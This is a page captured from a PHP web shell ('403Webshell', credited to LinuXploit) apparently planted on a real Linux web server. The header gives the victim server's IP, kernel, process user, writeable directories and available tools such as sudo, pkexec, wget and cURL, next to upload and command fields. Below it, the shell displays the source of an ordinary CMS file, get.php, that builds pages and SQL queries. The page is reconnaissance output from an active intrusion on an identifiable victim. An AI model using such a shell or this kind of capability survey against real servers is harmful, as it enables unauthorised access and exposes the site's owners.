403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/big_logo/site/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/big_logo/site/get.php
<?php
/*
@author suxoza <suxoza@gmail.com>
*/
if(realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME']))die("__main__");

    
    
        
     

        $_->smarty->template_dir = realpath(__DIR__).'/templates_1';
        //$_->pre($_->smarty->template_dir);
        $menu = $_->_menu_;
        
        
        
        $_dd = explode('/',__DIR__);
        $menu['self_dir'] = $_->admin_dir().'moduls/'.$_dd[count($_dd) - 2].'/'.$_dd[count($_dd) - 1];
        
        
        $menu['select_menu'] = $select_menu;
          try{
                if(in_array('more', $url)){
                  if(!isset($url[3]) || !is_numeric($url[3]))throw new Exception("bad uri format!!!");

                  if($url[3])
                        $_->con->exec("update body set counter_ = counter_ + 1 where id = ".(int)$url[3]);

                  $select_body = $_->select("*","body","small",["id",(int)$url[3]]); 
                  
                  if(!$select_body)throw new Exception("bad uri format!!!"); 
                  $menu['select_body'] = $select_body;
                  $menu['select_body']['page_date'] = ($menu['select_body']['page_date'])?date("d/m/Y",$menu['select_body']['page_date']):date("d/m/Y");
                  $file_name = 'index';
                  
            }else{
                //$_->pre($url);


                $obj = new stdClass();
                $obj->c_type = "answer";
                $obj->navig_name = $url[1];
                $obj->sql = "";

                if(count($url) >= 3 && is_numeric($url[2])){
                    $bnr = (int)$url[2];
                    $cnt = $_->select_(["id","banners","count",["id",$bnr]]);
                    if($cnt){
                        $obj->sql .= " and banner = $bnr ";
                        $obj->navig_name .= '/'.$bnr;
                    }
                }
                
                $__style = 0;
                $__count = 5;
                $__height = 120;
                $list_share = '_display_none';
                if(strlen($select_menu['attributes']) > 5){
                    $json = json_decode($select_menu['attributes']);
                    if(!json_last_error()){
                       $json = $json->desinger;
                       //$_->pre($json);
                       list($__style,$__count,$__height,$list_share) = array_values((array)$json);
                    }
                }



                //echo $obj->navig_name;
                $obj->navigation = (isset($url[3]) && is_numeric($url[3]))?$url[3]:1;
                $obj->navigation = (in_array('navigation',$url) && isset($url[array_search('navigation',$url) + 1]) && is_numeric($url[array_search('navigation',$url) + 1]))?$url[array_search('navigation',$url) + 1]:1;
                $obj->list_count_on_one_page = $__count;
                $obj->sort_algorithm = "page_date";



                ////datepicker///////


                    $__date = $_->_get_location_href('date','next');

                    if($__date){
                        $__date = strtotime($_->clear($__date));
                      //  echo date("d-m-Y",$__date)." ".date("d-m-Y",$__date);
                        $obj->sql .= " and (page_date >= '".$__date."' and page_date <= '".$__date."')";
                    }


                ////datepicker///////



                $select_body = $_->select("*","body",$obj,["page_id",$select_menu['id']]);
                if(!isset($select_body['body']))throw new Exception("coming soon!!!"); 
                $select_body['more_name_'] = $url[1];


                    //kharagauli
                    //kharagauli
                    if($__style == 0)$__height = 160;
                    //kharagauli
                    //kharagauli

                $select_body['desinger'] = ['height' => $__height,'style' => $__style,'list_share' => $list_share];
                
                
                
                
                
                $all_count = ceil(count($select_body['body']) / ($__style + 1));    
                $select_body['list_height'] = round((($all_count*$__height)+
                                              $__height)+$all_count*(ceil(count($select_body['body']) / 2)))+
                                              $all_count;
                
                $ll = $list_share?100:50;
                $select_body['strlen_text'] = 300;//$__height/($__style + 1)+$ll;
                 
                
               // echo $select_body['counter'];
              //echo $select_body['list_height'];
                
                $menu['select_body'] = $select_body;
                if(isset($menu['select_body']['navigation']))
                    $menu['select_body']['navigation'] = $_->navigation($menu['select_body']['navigation'],$obj->navigation);
                $menu['select_body']['referer'] = $obj->navig_name;
                
                //$_->pre($menu['select_body']);
                
                
                
                ///how_to_view_big_pages
                $menu['select_body']['menu_id'] = $select_menu['id'];
                ///how_to_view_big_pages
                
                
                
                
                $file_name = 'list';
                
            } 
          }catch(Exception $exc) {
              $_->smarty->template_dir = $_->_dir.'/view/templates_1';
                die($_->render('404',
                      ["menu" => $menu,'message' => $exc->getMessage()]));
          }
    


        $_->render($file_name,
                      ["menu" => $menu]
        );

   function list_delete($select_body,$_){
        if($select_body['logo']){
            if(file_exists($_->_dir.'img/banners/'.$select_body['logo']))@unlink($_->_dir.'img/banners/'.$select_body['logo']);
            if(file_exists($_->_dir.'img/banners/small/'.$select_body['logo']))@unlink($_->_dir.'img/banners/small/'.$select_body['logo']);
        }
        if($_->delete("body",["id",$select_body['id']]))header("Location:".$_SERVER['HTTP_REFERER'].$_COOKIE['location_href_menu']."/deleted/");
        else die("error while delete!!!");
       exit;
   }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit